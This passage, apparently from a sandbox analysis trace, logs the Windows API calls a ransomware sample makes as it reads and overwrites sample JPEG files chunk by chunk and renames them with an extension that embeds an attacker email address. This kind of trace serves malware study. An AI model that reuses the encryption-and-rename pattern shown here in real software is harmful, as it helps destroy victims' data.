Seed=0xcf5f9e4) returned 0x66c05698 [0052.699] RtlRandomEx (in: Seed=0xcf5f9e4 | out: Seed=0xcf5f9e4) returned 0x76923c45 [0052.699] RtlRandomEx (in: Seed=0xcf5f9e4 | out: Seed=0xcf5f9e4) returned 0x54b76335 [0052.699] RtlRandomEx (in: Seed=0xcf5f9e4 | out: Seed=0xcf5f9e4) returned 0x141128f4 [0052.699] RtlRandomEx (in: Seed=0xcf5f9e4 | out: Seed=0xcf5f9e4) returned 0x6e09476d [0052.699] RtlRandomEx (in: Seed=0xcf5f9e4 | out: Seed=0xcf5f9e4) returned 0x559ad3f0 [0052.699] RtlRandomEx (in: Seed=0xcf5f9e4 | out: Seed=0xcf5f9e4) returned 0x5121c02a [0052.699] RtlRandomEx (in: Seed=0xcf5f9e4 | out: Seed=0xcf5f9e4) returned 0x2fcbb408 [0052.699] RtlRandomEx (in: Seed=0xcf5f9e4 | out: Seed=0xcf5f9e4) returned 0x2707e87d [0052.717] SetFilePointerEx (in: hFile=0xc78, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.717] ReadFile (in: hFile=0xc78, lpBuffer=0x195a48d0, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xcf5f990, lpOverlapped=0x0 | out: lpBuffer=0x195a48d0*, lpNumberOfBytesRead=0xcf5f990*=0xc800, lpOverlapped=0x0) returned 1 [0052.718] SetFilePointerEx (in: hFile=0xc78, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.718] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44bfb8 [0052.718] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x437508 [0052.718] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e9440 [0052.718] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e9440) returned 1 [0052.719] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x195b10d8 [0052.723] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e9440 [0052.723] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e97b0 [0052.723] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e97b0) returned 1 [0052.723] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437508) returned 1 [0052.723] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bfb8) returned 1 [0052.723] WriteFile (in: hFile=0xc78, lpBuffer=0x195b10d8*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xcf5f990, lpOverlapped=0x0 | out: lpBuffer=0x195b10d8*, lpNumberOfBytesWritten=0xcf5f990*=0xc800, lpOverlapped=0x0) returned 1 [0057.720] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x195b10d8) returned 1 [0057.720] SetFilePointerEx (in: hFile=0xc78, liDistanceToMove=0x4b000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.720] ReadFile (in: hFile=0xc78, lpBuffer=0x195a48d0, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xcf5f990, lpOverlapped=0x0 | out: lpBuffer=0x195a48d0*, lpNumberOfBytesRead=0xcf5f990*=0xc800, lpOverlapped=0x0) returned 1 [0057.721] SetFilePointerEx (in: hFile=0xc78, liDistanceToMove=0x4b000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.722] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44bf70 [0057.722] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x437490 [0057.722] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428c30 [0057.722] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428c30) returned 1 [0057.722] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x195b10d8 [0057.723] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428c30 [0057.723] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428bb8 [0057.723] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428bb8) returned 1 [0057.723] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437490) returned 1 [0057.723] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bf70) returned 1 [0057.723] WriteFile (in: hFile=0xc78, lpBuffer=0x195b10d8*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xcf5f990, lpOverlapped=0x0 | out: lpBuffer=0x195b10d8*, lpNumberOfBytesWritten=0xcf5f990*=0xc800, lpOverlapped=0x0) returned 1 [0059.223] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x195b10d8) returned 1 [0059.224] SetFilePointerEx (in: hFile=0xc78, liDistanceToMove=0x7c87c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.224] ReadFile (in: hFile=0xc78, lpBuffer=0x195a48d0, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xcf5f990, lpOverlapped=0x0 | out: lpBuffer=0x195a48d0*, lpNumberOfBytesRead=0xcf5f990*=0xc800, lpOverlapped=0x0) returned 1 [0059.224] SetFilePointerEx (in: hFile=0xc78, liDistanceToMove=0x7c87c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.224] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44bd30 [0059.224] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x43b348 [0059.225] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x419b90 [0059.225] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x419b90) returned 1 [0059.225] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x195b10d8 [0059.226] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x419b90 [0059.226] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x419e38 [0059.226] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x419e38) returned 1 [0059.226] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43b348) returned 1 [0059.226] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bd30) returned 1 [0059.226] WriteFile (in: hFile=0xc78, lpBuffer=0x195b10d8*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xcf5f990, lpOverlapped=0x0 | out: lpBuffer=0x195b10d8*, lpNumberOfBytesWritten=0xcf5f990*=0xc800, lpOverlapped=0x0) returned 1 [0062.318] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x195b10d8) returned 1 [0062.318] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x60) returned 0x48d8d0 [0062.318] SetFilePointerEx (in: hFile=0xc78, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.319] WriteFile (in: hFile=0xc78, lpBuffer=0x441b30*, nNumberOfBytesToWrite=0x14d, lpNumberOfBytesWritten=0xcf5fa38, lpOverlapped=0x0 | out: lpBuffer=0x441b30*, lpNumberOfBytesWritten=0xcf5fa38*=0x14d, lpOverlapped=0x0) returned 1 [0062.737] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441b30) returned 1 [0063.333] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40ab48) returned 1 [0063.333] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e9440) returned 1 [0063.333] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40ab10) returned 1 [0063.333] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x48d8d0) returned 1 [0063.333] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e9738) returned 1 [0063.334] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428848) returned 1 [0063.334] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428870) returned 1 [0063.334] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb8) returned 0x5e02960 [0063.334] wcscpy (in: _Dest=0x5e02960, _Source="C:\\Users\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg" | out: _Dest="C:\\Users\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg") returned="C:\\Users\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg" [0063.334] wcscat (in: _Dest=0x5e02960, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg.mailto[2Hamlampampom@cock.li].cd46d" [0063.334] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xcf5f9f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0063.334] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xce) returned 0x40d460 [0063.335] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40d460) returned 1 [0063.335] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4836b0) returned 1 [0063.335] NtQueryInformationFile (in: FileHandle=0xc78, IoStatusBlock=0xcf5f9fc, FileInformation=0xcf5f9d4, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xcf5f9fc, FileInformation=0xcf5f9d4) returned 0x0 [0063.335] NtSetInformationFile (FileHandle=0xc78, IoStatusBlock=0xcf5f9fc, FileInformation=0xcf5f9d4, Length=0x28, FileInformationClass=0x4) returned 0x0 [0063.336] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e02960) returned 1 [0063.336] FlushFileBuffers (hFile=0xc78) returned 1 [0066.220] CloseHandle (hObject=0xc78) Thread: id = 527 os_tid = 0xf2c [0049.326] GetFileAttributesW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Penguins.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\penguins.jpg")) returned 0x20 [0051.483] SetFileAttributesW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Penguins.jpg", dwFileAttributes=0x20) returned 1 [0052.262] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Penguins.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\penguins.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x904 [0052.262] GetFileSizeEx (in: hFile=0x904, lpFileSize=0xd07fc38 | out: lpFileSize=0xd07fc38*=777835) returned 1 [0052.262] SetFilePointerEx (in: hFile=0x904, liDistanceToMove=0xbde67, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.262] ReadFile (in: hFile=0x904, lpBuffer=0xd07fbbc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xd07fbb8, lpOverlapped=0x0 | out: lpBuffer=0xd07fbbc*, lpNumberOfBytesRead=0xd07fbb8*=0x4, lpOverlapped=0x0) returned 1 [0052.264] SetFilePointerEx (in: hFile=0x904, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.264] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x43fe00 [0052.264] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x43fe78 [0052.264] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x43fea0 [0052.264] NtQuerySystemTime (in: CurrentTime=0xd07fb98 | out: CurrentTime=0xd07fb98*=132174898162524000) returned 0x0 [0052.265] RtlRandomEx (in: Seed=0xd07fba4 | out: Seed=0xd07fba4) returned 0x53f78294 [0052.265] RtlRandomEx (in: Seed=0xd07fba4 | out: Seed=0xd07fba4) returned 0x4dcc7f6c [0052.265] RtlRandomEx (in: Seed=0xd07fba4 | out: Seed=0xd07fba4) returned 0x72634aed [0052.265] RtlRandomEx (in: Seed=0xd07fba4 | out: Seed=0xd07fba4) returned 0x34fbd953 [0052.265] RtlRandomEx (in: Seed=0xd07fba4 | out: Seed=0xd07fba4) returned 0x684de85f [0052.265] RtlRandomEx (in: Seed=0xd07fba4 | out: Seed=0xd07fba4) returned 0x32b79748 [0052.265] RtlRandomEx (in: Seed=0xd07fba4 | out: Seed=0xd07fba4) returned 0x68e45987 [0052.265] RtlRandomEx (in: Seed=0xd07fba4 | out: Seed=0xd07fba4) returned 0x1898d150 [0052.265] RtlRandomEx (in: Seed=0xd07fba4 | out: Seed=0xd07fba4) returned 0x4ca9cdfe [0052.265] RtlRandomEx (in: Seed=0xd07fba4 | out: Seed=0xd07fba4) returned 0x269f4d2b [0052.265] RtlRandomEx (in: Seed=0xd07fba4 | out: Seed=0xd07fba4) returned 0x7a58b92b [0052.265] RtlRandomEx (in: Seed=0xd07fba4 | out: Seed=0xd07fba4) returned 0x305b7b9c [0052.265] RtlRandomEx (in: Seed=0xd07fba4 | out: Seed=0xd07fba4) returned 0x7ee61e3 [0052.265] RtlRandomEx (in: Seed=0xd07fba4 | out: Seed=0xd07fba4) returned 0x738f382d [0052.265] RtlRandomEx (in: Seed=0xd07fba4 | out: Seed=0xd07fba4) returned 0x584a5f9d [0052.265] RtlRandomEx (in: Seed=0xd07fba4 | out: Seed=0xd07fba4) returned 0x730eaded [0052.265] RtlRandomEx (in: Seed=0xd07fba4 | out: Seed=0xd07fba4) returned 0x366a9be [0052.265] RtlRandomEx (in: Seed=0xd07fba4 | out: Seed=0xd07fba4) returned 0x674e96f8 [0052.265] RtlRandomEx (in: Seed=0xd07fba4 | out: Seed=0xd07fba4) returned 0x18f215f1 [0052.265] RtlRandomEx (in: Seed=0xd07fba4 | out: Seed=0xd07fba4) returned 0x72b8fc6d [0052.265] RtlRandomEx (in: Seed=0xd07fba4 | out: Seed=0xd07fba4) returned 0x7a42beb5 [0052.265] RtlRandomEx (in: Seed=0xd07fba4 | out: Seed=0xd07fba4) returned 0x1f8b7b45 [0052.265] RtlRandomEx (in: Seed=0xd07fba4 | out: Seed=0xd07fba4) returned 0x6e13c309 [0052.265] RtlRandomEx (in: Seed=0xd07fba4 | out: Seed=0xd07fba4) returned 0x2e23e30f [0052.265] RtlRandomEx (in: Seed=0xd07fba4 | out: Seed=0xd07fba4) returned 0x65c2faac [0052.265] RtlRandomEx (in: Seed=0xd07fba4 | out: Seed=0xd07fba4) returned 0x59956469 [0052.265] RtlRandomEx (in: Seed=0xd07fba4 | out: Seed=0xd07fba4) returned 0x79f0a21 [0052.265] RtlRandomEx (in: Seed=0xd07fba4 | out: Seed=0xd07fba4) returned 0x7f16d760 [0052.265] RtlRandomEx (in: Seed=0xd07fba4 | out: Seed=0xd07fba4) returned 0x2a05453c [0052.265] RtlRandomEx (in: Seed=0xd07fba4 | out: Seed=0xd07fba4) returned 0x2c3abe30 [0052.266] RtlRandomEx (in: Seed=0xd07fba4 | out: Seed=0xd07fba4) returned 0x46ba1d9e [0052.266] RtlRandomEx (in: Seed=0xd07fba4 | out: Seed=0xd07fba4) returned 0x4bff717a [0052.279] SetFilePointerEx (in: hFile=0x904, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.279] ReadFile (in: hFile=0x904, lpBuffer=0x12e5da20, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xd07fb50, lpOverlapped=0x0 | out: lpBuffer=0x12e5da20*, lpNumberOfBytesRead=0xd07fb50*=0xc800, lpOverlapped=0x0) returned 1 [0052.281] SetFilePointerEx (in: hFile=0x904, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.281] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x4024e0 [0052.281] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x5e46160 [0052.281] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x43fe00 [0052.281] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43fe00) returned 1 [0052.282] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x12e6a228 [0052.286] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x43fe00 [0052.286] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x43fea0 [0052.286] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43fea0) returned 1 [0052.286] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e46160) returned 1 [0052.286] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4024e0) returned 1 [0052.286] WriteFile (in: hFile=0x904, lpBuffer=0x12e6a228*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xd07fb50, lpOverlapped=0x0 | out: lpBuffer=0x12e6a228*, lpNumberOfBytesWritten=0xd07fb50*=0xc800, lpOverlapped=0x0) returned 1 [0057.676] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12e6a228) returned 1 [0057.676] SetFilePointerEx (in: hFile=0x904, liDistanceToMove=0x64000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.676] ReadFile (in: hFile=0x904, lpBuffer=0x12e5da20, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xd07fb50, lpOverlapped=0x0 | out: lpBuffer=0x12e5da20*, lpNumberOfBytesRead=0xd07fb50*=0xc800, lpOverlapped=0x0) returned 1 [0057.678] SetFilePointerEx (in: hFile=0x904, liDistanceToMove=0x64000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.678] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x402c30 [0057.678] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x5e461d8 [0057.678] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x43fcc0 [0057.678] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43fcc0) returned 1 [0057.679] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x12e6a228 [0057.680] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x43fcc0 [0057.680] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x43fc70 [0057.680] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43fc70) returned 1 [0057.680] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e461d8) returned 1 [0057.680] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402c30) returned 1 [0057.680] WriteFile (in: hFile=0x904, lpBuffer=0x12e6a228*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xd07fb50, lpOverlapped=0x0 | out: lpBuffer=0x12e6a228*, lpNumberOfBytesWritten=0xd07fb50*=0xc800, lpOverlapped=0x0) returned 1 [0059.184] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12e6a228) returned 1 [0059.185] SetFilePointerEx (in: hFile=0x904, liDistanceToMove=0xb166b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.185] ReadFile (in: hFile=0x904, lpBuffer=0x12e5da20, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xd07fb50, lpOverlapped=0x0 | out: lpBuffer=0x12e5da20*, lpNumberOfBytesRead=0xd07fb50*=0xc800, lpOverlapped=0x0) returned 1 [0059.185] SetFilePointerEx (in: hFile=0x904, liDistanceToMove=0xb166b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.186] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44bd30 [0059.186] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x43b348 [0059.186] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4413e8 [0059.186] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4413e8) returned 1 [0059.187] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x12e6a228 [0059.187] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4413e8 [0059.188] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4412a8 [0059.188] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4412a8) returned 1 [0059.188] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43b348) returned 1 [0059.188] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bd30) returned 1 [0059.188] WriteFile (in: hFile=0x904, lpBuffer=0x12e6a228*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xd07fb50, lpOverlapped=0x0 | out: lpBuffer=0x12e6a228*, lpNumberOfBytesWritten=0xd07fb50*=0xc800, lpOverlapped=0x0) returned 1 [0062.300] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12e6a228) returned 1 [0062.300] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x60) returned 0x4462c0 [0062.300] SetFilePointerEx (in: hFile=0x904, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.300] WriteFile (in: hFile=0x904, lpBuffer=0x449b20*, nNumberOfBytesToWrite=0x149, lpNumberOfBytesWritten=0xd07fbf8, lpOverlapped=0x0 | out: lpBuffer=0x449b20*, lpNumberOfBytesWritten=0xd07fbf8*=0x149, lpOverlapped=0x0) returned 1 [0062.733] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x449b20) returned 1 [0063.309] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ceea0) returned 1 [0063.309] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43fe00) returned 1 [0063.309] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cea50) returned 1 [0063.309] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4462c0) returned 1 [0063.309] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43fe78) returned 1 [0063.309] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43fec8) returned 1 [0063.309] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43fef0) returned 1 [0063.309] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb4) returned 0x5e02960 [0063.309] wcscpy (in: _Dest=0x5e02960, _Source="C:\\Users\\Public\\Pictures\\Sample Pictures\\Penguins.jpg" | out: _Dest="C:\\Users\\Public\\Pictures\\Sample Pictures\\Penguins.jpg") returned="C:\\Users\\Public\\Pictures\\Sample Pictures\\Penguins.jpg" [0063.309] wcscat (in: _Dest=0x5e02960, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\Public\\Pictures\\Sample Pictures\\Penguins.jpg.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\Public\\Pictures\\Sample Pictures\\Penguins.jpg.mailto[2Hamlampampom@cock.li].cd46d" [0063.309] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Penguins.jpg.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xd07fbb0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\Public\\Pictures\\Sample Pictures\\Penguins.jpg.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0063.309] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xca) returned 0x40d460 [0063.311] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40d460) returned 1 [0063.311] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4829c0) returned 1 [0063.311] NtQueryInformationFile (in: FileHandle=0x904, IoStatusBlock=0xd07fbbc, FileInformation=0xd07fb94, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xd07fbbc, FileInformation=0xd07fb94) returned 0x0 [0063.311] NtSetInformationFile (FileHandle=0x904, IoStatusBlock=0xd07fbbc, FileInformation=0xd07fb94, Length=0x28, FileInformationClass=0x4) returned 0x0 [0063.312] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e02960) returned 1 [0063.312] FlushFileBuffers (hFile=0x904) returned 1 [0066.203] CloseHandle (hObject=0x904) Thread: id = 528 os_tid = 0xf30 [0049.327] GetFileAttributesW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Tulips.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\tulips.jpg")) returned 0x20 [0051.477] SetFileAttributesW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Tulips.jpg", dwFileAttributes=0x20) returned 1 [0052.156] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Tulips.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\tulips.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x7c8 [0052.157] GetFileSizeEx (in: hFile=0x7c8, lpFileSize=0xd1cfc58 | out: lpFileSize=0xd1cfc58*=620888) returned 1 [0052.157] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x97954, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.157] ReadFile (in: hFile=0x7c8, lpBuffer=0xd1cfbdc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xd1cfbd8, lpOverlapped=0x0 | out: lpBuffer=0xd1cfbdc*, lpNumberOfBytesRead=0xd1cfbd8*=0x4, lpOverlapped=0x0) returned 1 [0052.158] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.158] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441500 [0052.158] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4414d8 [0052.158] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441438 [0052.158] NtQuerySystemTime (in: CurrentTime=0xd1cfbb8 | out: CurrentTime=0xd1cfbb8*=132174898161432000) returned 0x0 [0052.159] RtlRandomEx (in: Seed=0xd1cfbc4 | out: Seed=0xd1cfbc4) returned 0x22e9b594 [0052.159] RtlRandomEx (in: Seed=0xd1cfbc4 | out: Seed=0xd1cfbc4) returned 0x782dcd8d [0052.159] RtlRandomEx (in: Seed=0xd1cfbc4 | out: Seed=0xd1cfbc4) returned 0x35041175 [0052.159] RtlRandomEx (in: Seed=0xd1cfbc4 | out: Seed=0xd1cfbc4) returned 0xb913b57 [0052.159] RtlRandomEx (in: Seed=0xd1cfbc4 | out: Seed=0xd1cfbc4) returned 0x6d5ddf8e [0052.159] RtlRandomEx 